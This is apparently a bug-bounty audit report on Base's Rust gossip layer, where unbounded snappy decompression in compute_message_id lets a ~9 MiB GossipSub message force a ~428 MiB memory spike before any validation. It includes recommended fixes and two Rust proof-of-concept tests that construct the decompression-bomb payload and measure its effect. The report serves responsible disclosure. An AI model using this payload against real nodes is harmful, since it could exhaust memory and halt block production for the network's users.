75485 bc critical unbounded snappy decompression in gossipsub message id fn causes per message memory spike of 428 mib before validation
Submitted on Apr 29th 2026 at 12:26:55 UTC by @Outliers for Audit Comp | Base Azul
- Report ID: #75485
- Report Type: Blockchain/DLT
- Report severity: Critical
- Target: https://github.com/base/base/tree/v0.8.0-rc.28
- Impacts:
- Increasing network processing node resource consumption by at least 30% without brute force actions, compared to the preceding 24 hours
Description
Brief/Intro
The compute_message_id function in Base's Rust gossip layer performs unbounded snappy decompression on every received GossipSub message before any validation, rate limiting, or peer scoring can intervene. A single attacker-crafted 10 MiB wire message can force a transient peak memory allocation of approximately 428 MiB on the receiving node. With no fees, no staking, and free libp2p peer identities, an attacker can sustain this allocation pressure at scale — potentially OOM-killing the sequencer and halting block production on Base mainnet.
Vulnerability Details
The vulnerability lives in crates/consensus/gossip/src/config.rs, in the compute_message_id function registered as GossipSub's message_id_fn:
fn compute_message_id(msg: &Message) -> MessageId {
let mut decoder = Decoder::new();
let id = decoder.decompress_vec(&msg.data).map_or_else(
|_| {
let domain_invalid_snappy: Vec<u8> = vec![0x0, 0x0, 0x0, 0x0];
sha256([domain_invalid_snappy.as_slice(), msg.data.as_slice()].concat().as_slice())
[..20].to_vec()
},
|data| {
let domain_valid_snappy: Vec<u8> = vec![0x1, 0x0, 0x0, 0x0];
sha256([domain_valid_snappy.as_slice(), data.as_slice()].concat().as_slice())[..20]
.to_vec()
},
);
MessageId(id)
}
This function is invoked by libp2p-gossipsub for every received message as part of duplicate detection — before any application validation, peer scoring, or throttling can run. The execution order is fixed by libp2p:
- Wire bytes received from peer
- max_transmit_size check (10 MiB cap on compressed wire size)
- message_id_fn invoked — allocations occur here
- LRU dedup cache lookup
- Application validation and peer scoring
- Forwarding to mesh peers
Steps 5–6 cannot prevent Step 3. The commonly cited mitigations (MAX_VALIDATE_QUEUE, GLOBAL_VALIDATE_THROTTLE, ConnectionGater) all operate after message_id_fn returns.
Two unbounded allocations per call
Allocation A — decompression. decompress_vec in snap-1.1.1 allocates a buffer sized from the snappy varint header verbatim, before any decompression occurs:
pub fn decompress_vec(&mut self, input: &[u8]) -> Result<Vec<u8>> {
let mut buf = vec![0; decompress_len(input)?]; // attacker-controlled
let n = self.decompress(input, &mut buf)?;
buf.truncate(n);
Ok(buf)
}
decompress_len reads the declared output size from the header without any application-level cap. snap's internal ceiling is 2^32 - 1 (~4 GiB) — not a defense, that is the attacker's upper bound per message. Within the 10 MiB wire limit, snappy's encoding allows up to ~213 MiB of decompressed output using 3-byte copy tags that each expand to up to 64 bytes of output (~21× amplification per tag).
Allocation B — concatenation. [domain, data].concat() allocates and copies the entire decompressed buffer a second time before SHA-256 hashes it. Both buffers coexist in memory while SHA-256 runs, doubling the peak commit to ~2× the decompressed size.
Critically, the decompression buffer allocation in decompress_vec happens before any decompression error can be returned. Even a malformed "bomb" that would fail decompression still triggers the initial vec![0; decompress_len(input)?] allocation. The attack does not require a decompression error.
Why MAX_GOSSIP_SIZE doesn't help
max_transmit_size(MAX_GOSSIP_SIZE) bounds the compressed wire size. The snappy varint header is free to declare a decompressed size up to 2^32 - 1 regardless of the wire payload's actual size. A fully wire-conformant 9 MiB payload can declare and force a 213 MiB decompressed output.
Regression from op-node
In op-node (Go), gossip messages are decompressed via a snappy.Reader bounded by maxGossipSize. The Base Rust port uses decompress_vec with no such bound — the bounded-decompression invariant was lost in the port.
Impact Details
Measured numbers
Direct decompression (snap-1.1.1):
- Wire payload: ~9 MiB (within
MAX_GOSSIP_SIZE) - Declared output size: ~213 MiB
VmRSSgrowth: ~213 MiB- Amplification: 21.3× wire-to-decompressed
Through compute_message_id (production code path):
- Wire payload: ~9 MiB
VmHWM(peak resident) growth: ~428 MiB- Amplification: ~42× wire-to-peak-RSS
VmHWM is the correct metric here — both buffers are dropped before compute_message_id returns, so post-call VmRSS (~2 MiB) is misleading. The attack is rate-based: the transient 428 MiB spike repeats for every received message, and concurrent libp2p receive tasks stack these spikes multiplicatively.
Severity mapping
- High — network processing node resource breach: A single message forces ~428 MiB peak commit. Under concurrent message processing (libp2p mesh fanout of D=6–12 peers per publish), N simultaneous calls force N × 428 MiB allocation — well beyond any reasonable process memory budget.
- High — sequencer downtime: Base uses a centralized sequencer. An OOM-killed sequencer requires process restart, mesh re-formation, peer re-discovery, and L1 attribute resync — each independently taking several seconds. A single successful OOM event exceeds 5× the 2-second target block time, satisfying the program's High threshold. Sustained attack keeps the sequencer down for as long as the attacker maintains message throughput.
- Economic asymmetry: Attacker cost is ~10 MiB outbound bandwidth plus a free self-generated libp2p keypair (no fees, no stake, no rate limit on publish). Victim cost is ~428 MiB peak memory plus CPU for SHA-256 over 213 MiB. With GossipSub mesh fanout, one published message hits multiple mesh neighbors simultaneously. A sybil cluster of ~10 peers (cost: zero) provides full mesh coverage of a small validator set and can sustain GiB/s allocation pressure on each victim node for MiB/s attacker bandwidth.
Recommended fixes
- Pre-flight length check — read the snappy header without allocating, and reject if the declared size exceeds MAX_GOSSIP_SIZE before calling decompress_vec.
- Eliminate the .concat() doubling — replace
[domain, data].concat()with sequential SHA-256 updates (Sha256::new().update(domain).update(data).finalize()), reducing peak commit from ~2× to 1× the decompressed size. - (Optional) fast_message_id_fn — set a cheap hash of the compressed bytes as the fast dedup key, avoiding decompression entirely on duplicate messages.
With fixes 1 and 2 applied, the per-message peak commit drops from ~428 MiB to at most MAX_GOSSIP_SIZE (10 MiB).
Proof of Concept
Two test cases added to crates/consensus/gossip/src/config.rs. Both pass against the live codebase at v0.8.0-rc.28.
POC 1 — wire-format primitive
#[test]
fn high_ratio_snappy_bomb_forces_real_rss() {
fn varint(mut n: u64) -> Vec<u8> {
let mut out = Vec::new();
while n >= 0x80 { out.push((n as u8) | 0x80); n >>= 7; }
out.push(n as u8);
out
}
fn vm_kb(field: &str) -> u64 {
std::fs::read_to_string("/proc/self/status").unwrap()
.lines().find(|l| l.starts_with(field))
.and_then(|l| l.split_whitespace().nth(1))
.and_then(|n| n.parse().ok()).unwrap_or(0)
}
// Maximum output achievable within MAX_GOSSIP_SIZE (10 MiB) wire cap.
let wire_budget = MAX_GOSSIP_SIZE - 100;
let max_copies = (wire_budget - 66) / 3;
let target_output: u64 = 64 + 64 * max_copies as u64;
let mut payload = Vec::new();
payload.extend_from_slice(&varint(target_output));
// 64-byte literal seed: tag 0xF0, length byte 63, then 64 'A' bytes.
payload.push(0xF0);
payload.push(63);
payload.extend_from_slice(&[0x41u8; 64]);
// 2-byte-offset copy: length 64, offset 64. Tag = (63 << 2) | 0b10 = 0xFE.
let copy_tag: [u8; 3] = [0xFE, 0x40, 0x00];
payload.reserve(max_copies * 3);
for _ in 0..max_copies {
payload.extend_from_slice(©_tag);
}
assert!(payload.len() <= MAX_GOSSIP_SIZE);
let declared = snap::raw::decompress_len(&payload).unwrap();
assert_eq!(declared as u64, target_output);
let rss_before = vm_kb("VmRSS:");
let mut decoder = snap::raw::Decoder::new();
let result = decoder.decompress_vec(&payload);
let rss_peak = vm_kb("VmRSS:");
println!("Wire: {} bytes; Declared: {} bytes; RSS growth: {} KB",
payload.len(), target_output, rss_peak - rss_before);
assert!(result.is_ok());
assert_eq!(result.as_ref().unwrap().len() as u64, target_output);
}
Output:
Wire payload size: 10485664 bytes (~9 MiB)
Declared output size: 223692736 bytes (~213 MiB)
Wire under limit?: true
decompress_vec result: Ok, 223692736 bytes
VmRSS growth: 218624 KB (~213 MiB)
Amplification: 21.3x
POC 2 — production code path
#[test]
fn compute_message_id_path_allocates_real_rss() {
fn varint(mut n: u64) -> Vec<u8> {
let mut out = Vec::new();
while n >= 0x80 { out.push((n as u8) | 0x80); n >>= 7; }
out.push(n as u8);
out
}
fn vm_kb(field: &str) -> u64 {
std::fs::read_to_string("/proc/self/status").unwrap()
.lines().find(|l| l.starts_with(field))
.and_then(|l| l.split_whitespace().nth(1))
.and_then(|n| n.parse().ok()).unwrap_or(0)
}
let wire_budget = MAX_GOSSIP_SIZE - 100;
let max_copies = (wire_budget - 66) / 3;
let target_output: u64 = 64 + 64 * max_copies as u64;
let mut payload = Vec::new();
payload.extend_from_slice(&varint(target_output));
payload.push(0xF0);
payload.push(63);
payload.extend_from_slice(&[0x41u8; 64]);
let copy_tag: [u8; 3] = [0xFE, 0x40, 0x00];
payload.reserve(max_copies * 3);
for _ in 0..max_copies {
payload.extend_from_slice(©_tag);
}
// Match the existing test_compute_message_id_valid_snappy construction exactly.
let msg = Message {
source: None,
data: payload.clone(),
sequence_number: None,
topic: libp2p::gossipsub::TopicHash::from_raw("test"),
};
println!("=== compute_message_id INVOCATION ===");
println!("Wire payload size: {} bytes (~{} MiB)",
payload.len(), payload.len() / 1024 / 1024);
println!("Declared output size: {} bytes (~{} MiB)",
target_output, target_output / 1024 / 1024);
// VmHWM = peak resident set size since process start. Monotonic, captures
// the allocation even though compute_message_id drops the buffer before returning.
let hwm_before = vm_kb("VmHWM:");
let rss_before = vm_kb("VmRSS:");
let _id = compute_message_id(&msg);
let hwm_after = vm_kb("VmHWM:");
let rss_after = vm_kb("VmRSS:");
println!("--- Results ---");
println!("VmHWM before call: {} KB", hwm_before);
println!("VmHWM after call: {} KB", hwm_after);
println!("VmHWM growth (peak): {} KB (~{} MiB)",
hwm_after.saturating_sub(hwm_before),
hwm_after.saturating_sub(hwm_before) / 1024);
println!("VmRSS before: {} KB", rss_before);
println!("VmRSS after: {} KB", rss_after);
println!("VmRSS growth (now): {} KB <-- buffer dropped before measurement",
rss_after.saturating_sub(rss_before));
println!();
println!("Note: VmHWM captures the true peak. VmRSS post-call is misleading");
println!("because compute_message_id frees the buffer before returning.");
println!("In production: every received message triggers this peak allocation");
println!("inside libp2p-gossipsub's receive path, before any validation.");
assert!(hwm_after > hwm_before + 150_000,
"expected HWM growth >150MB through compute_message_id, got {}KB",
hwm_after.saturating_sub(hwm_before));
}
Output:
Wire payload size: 10485664 bytes (~9 MiB)
Declared output size: 223692736 bytes (~213 MiB)
VmHWM growth (peak): 439040 KB (~428 MiB)
VmHWM (peak resident set size, monotonic) is used because both allocations are released before compute_message_id returns. Post-call VmRSS shows only ~2 MiB growth and would understate the true allocation.
Reproducing
cargo test -p base-consensus-gossip high_ratio_snappy_bomb_forces_real_rss -- --nocapture
cargo test -p base-consensus-gossip compute_message_id_path_allocates_real_rss -- --nocapture
Both tests pass on Linux x86_64 against snap-1.1.1 (confirmed via Cargo.lock) and base-consensus-gossip v0.8.0-rc.28.